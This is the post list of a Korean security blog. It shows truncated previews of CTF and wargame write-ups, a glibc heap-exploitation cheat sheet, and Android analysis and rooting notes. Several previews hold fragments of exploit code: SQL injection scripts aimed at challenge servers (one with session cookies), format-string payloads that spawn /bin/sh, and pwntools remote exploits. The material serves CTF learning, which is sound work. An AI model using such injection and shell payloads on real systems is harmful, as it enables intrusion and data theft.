티스토리

say2
검색하기

블로그 홈

say2

say2.tistory.com/m

shnec 님의 블로그입니다.

구독자
0
방명록 방문하기

주요 글 목록

  • [codegate 2018 final] 7amebox3 ida 플러그인까지 준비해가서 펌웨어를 깠는데이게 왠걸 아무리 봐도 상식적으로 취약점이 없었다.. 삽질과 고뇌와 인내의 시간을 거치고 취약점 이거임..gamebox 에뮬레이터에 잇엇음..class Stdin: def read(self, size): res = '' buf = sys.stdin.readline(size) for ch in buf: if ord(ch) > 0b1111111: break if ch == '\n': res += ch break res += ch return res def write(self, data): return None 0b1111111보다 큰 입력값일 경우 바로 break하는데이러면 read syscall 의 반환값이 0이됨 secretkey는 content 리턴값의 -1.. 공감수 0 댓글수 0 2018. 4. 7.
  • [codegate2018 final]place the blanket import requests #bbs(title,writer,contents) url='http://110.10.147.36/write_ok.php' sid='35p14j8h1all6avl46rcopfm34' for i in range(1): print str(i) title='ss'+str(i) query="qwer'),('gogo','say222',(select group_concat(info) from information_schema.processlist))#" query2="qwer'),('gg4','say222',(select group_concat(benchmark(99999999,@query:=concat(@query,(select group_concat(info) from informat.. 공감수 0 댓글수 0 2018. 4. 7.
  • 워겜 사이트 오픈 http://wargame.say2.kr 강의용으로 만든 practice 문제들은 곧 조정.. 시간날 때 문제 조금씩 추가 해야겟다! ----- 오랜만에 머신러닝문제를 준비해서 추가하다가 실수해서 db를 날렷다.... 이런 멍청한 실수를 내가하다니..ㅠㅠ 제일 최근에 디비 백업한게 11월..스냅샷찍어논것도 없고해서.. 일단 진짜 지푸라기를 잡는 심정으로 아마존에 문의를 남겼다.살리면 좋겟지만.. 못살리면.. ㅠㅠ문제야 다시 올리면 되지만 계정정보나 문제인증정보가 날라갓으니..죄송합니다..오랜만에 들어 가보니 가입자가 꽤 늘어나 있었는데 화가나 죽겟다 엉엉 기존회원들에겐 정말 죄송하지만 디비못살리면.. 아예 디자인도 손볼 부분도 있었고 해서 새로 리모델링하고 문제도 많이 추가해서새로 오픈할까도 생각중이다... 공감수 1 댓글수 2 2018. 3. 3.
  • [pwnable.tw]wannaheap 보호되어 있는 글입니다. 공감수 0 댓글수 0 2018. 1. 23.
  • [pwnable.kr]exynos 보호되어 있는 글입니다. 공감수 0 댓글수 0 2018. 1. 16.
  • [pwnable.kr]starcraft 보호되어 있는 글입니다. 공감수 0 댓글수 0 2017. 11. 16.
  • [whitehat 2017]bank from pwn import * r=process('./bank') def rr(): r.recvuntil('-->') def buy(): rr() r.sendline('5') rr() r.sendline('1') def deposit(money): rr() r.sendline('3') rr() r.sendline('1') #white rr() r.sendline(str(money)) def withdraw(wb,money): rr() r.sendline('4') rr() r.sendline(str(wb))#white rr() r.sendline(str(money)) def transfer(money): rr() r.sendline('2') rr() r.sendline('1') #w->b rr() r.s.. 공감수 0 댓글수 0 2017. 11. 15.
  • [csaw2017]prophecy angr써보려햇으나 결과값이 잘 안맞아서 그냥 디버깅잘 돌리면 될거같은데 지금생각해보니 null byte때문에 삑난거 같은데 angr아웃풋 말고 /tmp/.starcraft파일을 봤으면angr로 풀렸겠다 ㄷ_ㄷ .starcraft는 ltrace해보면 바로 보인다 fread함수 bp 다걸어놓고 한줄씩 결과 프린트 비교하면서 찾아갔다. from pwn import * import struct import time #doesn't work just reversing with ida scripting def angr_find(): import angr p=angr.Project('./prophecy',load_options={"auto_load_libs":False}) pg=p.factory.path_group.. 공감수 0 댓글수 0 2017. 9. 20.
  • [pwnable.tw]breakout 보호되어 있는 글입니다. 공감수 0 댓글수 0 2017. 9. 4.
  • glibc heap exploit 치트시트 내가 보려고 만든 ctf의 ctf를 위한 ctf에 의한 힙 익스 아이디어===================== 일단 ctf에 자주나오는 하우스 시리즈 힙 유형을 살펴본다기법들에 대해 자세히 설명하지는 않는다. 전체적으로 훑어 보기로 한다.제일 잘나오는건 세 가지다 #### 1.fastbin dup attack 정말 제일 만만하고 제일 많이 쓰인다. 0x80까지의 동적메모리의 해제가 자유롭고 arbitrary overwrite이든 overflow든 해제한 메모리의 next bin ptr영역에 overwrite가 가능하다면 이 기법을 사용할 수 있다. fastbin dup으로 overwrite를 할때는 bin의 사이즈 단위가 중요한데(같은 단위가 아니면 abort 0x10단위로 존재) 특히 0x70단위의 경.. 공감수 0 댓글수 0 2017. 8. 9.
  • [sha2017]megan-35 내 입력이 암호화 되어서 printf(&encrypt);이런식으로 format string bug가 유발된다. 암호화는 어렵지 않고 오버플로우는 일어나지 않는다 복호화는 그냥 암호화 식을 이용해서 z3로 풀어버렸다 오버플로우가 안나는데 fsb만 가지고 어떻게 트리거할지 고민(삽질)하던 중 리모트로 테스트해보다가 리모트 환경이 aslr이 꺼져잇는 환경이라는 걸 알아냈다;; 디버깅으로 오프셋 구해서 stack libc베이스를 구하고 system('/bin/sh')를 트리거했다. from pwn import * import random #import z3 from z3 import * table='3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDE.. 공감수 0 댓글수 0 2017. 8. 7.
  • LOS org~darkeyes import requests import time s=requests.session() cookie={'__cfduid':'d392d5cf39f2a1476ffb7cf441ad0da3b1501471981','PHPSESSID':'2h91mockfjn960lg20cl338712'} password='' #orc def org(): for ind in range(1,50): for x in range(0x20,0x80):#0x80): res=requests.get('http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php',params={"pw":"1\'||id=0x61646d696e and (select ascii(substr(pw,{},1))).. 공감수 0 댓글수 0 2017. 8. 3.
  • [H3XOR]column test /* * if you see the password column name, * you will get the flag~! * */ include("./dbconfig.php"); $id = $_GET['id']; $pw = $_GET['pw']; if ( isset($id) || isset($pw) ) { if (preg_match("/info|sche|,/i", $id)) exit("no hack ~_~"); if (preg_match("/info|sche/i", $pw)) exit("no hack ~_~"); $query = "SELECT {$pw_column_name}, {$id_column_name} FROM {$table} WHERE {$id_column_name}='{$id}' AND {$pw.. 공감수 0 댓글수 0 2017. 8. 2.
  • [codegate2017]VM fix ex from pwn import * def dump(): return (0 공감수 0 댓글수 0 2017. 7. 25.
  • mitmproxy SSL TLS까지 intercept가능..짱짱 i->inptercept option -> ~q : 모든 request 캡처intercept한놈들 중에 하나 골라서 enterreceive할 데이터 edit ssl , tls 를 막론하고 가능한데 facebook이나 몇몇 사이트들은 이 방법도 막아놨다고 한다.원리는 mitmproxy의 인증서를 만들어서중간에서 잘 처리해준다 ^ㅡ^아래 manual에 잘 설명되어있다.http://docs.mitmproxy.org/en/stable/howmitmproxy.html 공감수 0 댓글수 0 2017. 7. 19.
  • android gdb 디버깅하는법 우선 로컬에서 ndk설치https://developer.android.com/ndk/downloads/index.html 4.9일경우 gdb도 따로 설치https://github.com/SaberMod/android_prebuilts_gcc_linux-x86_arm_sabermod-arm-linux-androideabi-4.9/blob/master/bin/arm-linux-androideabi-gdb ~/android-ndk-r15b/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin/arm-linux-androideabi- gdb여기다 설치 adb shell pull로 android libc랑 app_process 를 가져온다adb pull .. 공감수 0 댓글수 1 2017. 7. 18.
  • 안드로이드 루팅하는 법 https://autoroot.chainfire.eu 여기서 기종검색. 다운로드 압축을 풀면 ordin과 tar.md5파일이 포함되어 있을텐데 ordin(window program)을 키고 files ap버튼으로 누르고 tar.md5파일을 업로드 안드로이드 폰 오딘모드 진입(홈버튼+볼륨 상키+잠금버튼->볼륨상키)usb연결(usb 통합 드라이버 설치) start~ 공감수 0 댓글수 0 2017. 7. 10.
  • android 분석 툴 정리 동적droidbox : 권한 뷰 볼수 잇음 앱의 행위들을 모니터링APKinspector : 위험함수 경고 함수분석그래프산토쿠 분석도구 : 종합적으로 분석도구가 마련되어있음androlyze 권한부여된 api들의 행위 관찰 어떤메소드 사용하는지 정적androidapkinfoadb shell : /data/data 디렉토리 검사 중요한정보담긴 파일이 있는지 -> 암호화나 권한설정(mode_private),루트권한 디렉토리에 중요한 파일을 넣어야하ㅁ 네트워크프록시로 버프슈트 burpsuitewiresharkpacket shark(앱) 메모리gdb 덤프->분석memscan(앱) 난독화 도구proguard 진단도구drozerASEFdroidsheep - 웹 세션 하이재킹 http(https가 아닌)통신을 모니터링 .. 공감수 0 댓글수 0 2017. 7. 7.
  • [2017 googlectf] inst_prof from pwn import * pad=lambda x:x.ljust(4,'\x90') asm_=lambda x:asm(x,arch='amd64') #r=process('./inst_prof') r=remote('inst-prof.ctfcompetition.com',1337) r.recvuntil('ready\n') #raw_input() p1=asm("add r12,rbx", arch = 'amd64') p2=asm("add r12,rsp",arch='amd64') p3=asm('add r12,QWORD PTR [rsp]',arch='amd64') p4=asm('mov r14,QWORD PTR [rsp]',arch='amd64') p5=asm('mov r14w,dx',arch='amd64') p6=as.. 공감수 0 댓글수 0 2017. 6. 19.
  • kruscal algorithm 크루스칼 알고리즘 // // main.cpp // kruskal_algo // // Created by 김세희 on 2017. 5. 28.. // Copyright © 2017년 김세희. All rights reserved. // #include #include #include #include using namespace std; #define max 99999 int G[7][7]={{max,8,9,max,max,max,max},{8,max,max,2,11,max,max},{9,max,max,4,max,max,max},{max,2,4,max,max,7 ,max},{max,11,max,max,max,3,10},{max,max,max,7,3,max,4},{max,max,max,max,10,4,max}}; int repres.. 공감수 0 댓글수 0 2017. 6. 14.
  • [0ctf qual]EasiestPrintf printf는 문자열이 일정크기가 넘어가면 malloc free를 호출한다(vfprintf) fsb를 이용하여 malloc_hook free_hook 을 덮어 쓸수 있다.혹은 stdout의 함수포인터를 덮을 수도 있다. 32bit이기 때문에http://say2.tistory.com/262 write = {_IO_2_1_stdout + 148: 0x0804A570 - 0x1c, 0x0804A570: system + 1} payload = '/bin/sh;'payload += fmtstr_payload(9, write, len(p), 'byte') 출처: http://say2.tistory.com/262 [say2] p.sendlineafter('Bye','/bin/sh;'+fmtstr_payload(9,{.. 공감수 0 댓글수 0 2017. 5. 25.
  • [pwnable.tw]secret of my heart 보호되어 있는 글입니다. 공감수 0 댓글수 0 2017. 5. 15.
  • [codegate 17 final]BMP 처음 풀어본 윈도우 익스 문제였고 신선했고 배운것도 많았다. 취약점은 어렵지 않았고 트리거 하는 과정도 실재 버그헌팅이랑 비슷해보였다. 처음이라 고생많고 오래걸렸는데 재밌었다. bmp파일의 header를 읽는 부분에서 팔레트 크기를 읽어서 크기만큼 스택에 가져오는데 0x100이 정해진 크기지만 조작해서 더 큰 값을 넣을 수 있다.canary가 있으므로 seh까지 쭉 덮어버리면 eip가 조작이 가능하다rop로 vprotect로 실행권한 주고 쉘코드를 실행시켰다.이때 팔레트는 4바이트마다 \x00을 넣어서 읽어오기 때문에 그냥넣으면 쉘코드가 이상해지고 그렇다고 쉘코드를 변형하기는 귀찮아서쉘코드를 push해서 esp를 쉘코드주소로 보낸다음 실행시키는 어셈을 짠다음 쉘코드로 eip를 보내서 실행시켰다.대회에서는.. 공감수 0 댓글수 0 2017. 5. 14.
  • [defcon prequal 2017]magic objdump로 파싱 filename은 file=Glob.glob(‘경로’)이렇게 하면 배열로 다 담긴다고 함 import glob모듈 from pwn import * import os import subprocess import re #file_name='fecb014cab63df8b6a56da7a2edfe9ffbc3868579d445c4d4f0687b1583bc164' file_name= '''01dd90c3b7d9a36227a5ddc96c7887acbcb973744c1971eaa6da6cccc6c3e261 035202082a8be265d23b0409bec1d7c080e1ee14c163874f3321b6c70a209a7c 04818b31ff02ad50af2b052c3488b13b8be29da3c294.. 공감수 0 댓글수 0 2017. 5. 12.
  • [codegate17 prequal]postbox total info+0 post나 register info덩어리 주소+24 다음 덩어리 덩어리 주소+0 인덱스 post register info구분~~ user register+0 0x6d10c8(vtable) -> register끝나고 createpost할때 바뀜 0x6d1090+8 (0x8) name(12)createpost할때 0x10 0x6d10a0+24(0x18) phone number(15)+40(0x28) zip code(7)+56(0x38) address(90)+176(0xb0) 0x6d10d8 **** register할때는 post할떄 totalinfo에 적용되는 꼴이 똑같다. 즉 같은 모양으로 저장된다. 둘다 크기는 240 구조체를 보니 post의 vtable함수들이 전부 저장되어있다... 공감수 0 댓글수 0 2017. 5. 11.
  • [codegate 2017 final]real from pwn import * r=process('./real') raw_input() def _fsb(ff,var): r.sendlineafter('string -->',ff) r.sendlineafter('-->',var) r.recvuntil('is ') stack=int(r.recv(14),16) log.info(hex(stack)) r.recvuntil('-->') r.sendline(str(stack(not correct)) r.recvuntil('value is ') leak=int(r.recv(2),16) log.info('leak : '+hex(leak)) for i in range(15): _fsb("%x",str(stack)) # not correct #pppr -> libc_sta.. 공감수 0 댓글수 0 2017. 5. 9.
  • [codegate 2017 prequal]meow 키를 받고 그 키로 테이블을 복호화해서 복호화한 값을 call하는 메뉴가 있는 바이너리 이다. 키로 어떻게 복호화를 하는지 알아보기 위해 복호화 코드를 그대로 옮겨서 중간중간 과정을 printf해서 보았다. 이렇게 보면 4가지 과정이 어떻게 xor되며 흘러가는지 잘 보인다. 다행히도 각 단계마다 복합적으로 얽히는 건 없어서 한번에 쭉쭉 거꾸로 올라가면 된다. 어떻게 키를 찾냐면 추측할 수 있는 부분이 있다. 복호화된 결과값이 함수가 될 가능성이 높은데 함수의 에필로그와 프롤로그를 대입해 보는 것이다. 결과값 첫 4바이트를 push ebp , mov ebp esp로 끝 2바이트를 pop ebp, ret으로 해서 총 6바이트를 추측할 수 있다. 추측한 값으로 거꾸로 올라가면 다음과 같은 식을 얻는다. 1. .. 공감수 0 댓글수 0 2017. 5. 9.
  • [codegate17 prequal]Goversing id와 패스워드 채크루틴이 있음 id를 비트단위로 분해 -> concat : 0 obj^1 obj^before^bb^bbb^1 obj^before_byte^bbb^1(연습삼아 정확하게 분석해 봤는데 사실은 obj^1만 알아도 id를 구할 수 있다.) mov qword ptr [rsp], 0 mov [rsp+8], rbx call runtime_intstring mov rax, [rsp+18h] mov rcx, [rsp+10h] ; _r2 mov [rsp], rcx mov [rsp+8], rax call strconv_Atoi mov rax, [rsp+10h] mov [obj_88h], rax ; obj_88h lea rcx, [before_byte_b8h] mov [rsp], rcx lea rcx, [o.. 공감수 0 댓글수 0 2017. 5. 8.
  • object C 문법 정리 class 선언 @interface myclass : (부모 클래스 : 주로 NSObject씀){@publicint a;@privateint b;}-(void) func_name : (int)A anddata : (int)B;-(void)func_name2 : (int)A : (int)B;@end @implementation myclass-(void) func_name : (int)A anddata : (int)B{a=A;b=B;}-(void)func_name2 : (int)A : (int)B;{a=A;b=B;}@end myclass *C;C=[[myclass alloc]init];//C=[myclass alloc]//C=[C init][C func_name:1234 anddata:5678];[C fun.. 공감수 0 댓글수 0 2017. 4. 30.
  • library안줬는데 offset 구해야 할때 유용한 툴 https://github.com/niklasb/libc-database.git libc-database! 공감수 0 댓글수 0 2017. 4. 27.
    문의안내
    • 티스토리
    • 로그인
    • 고객센터

    티스토리는 카카오에서 사랑을 담아 만듭니다.

    © Kakao Corp.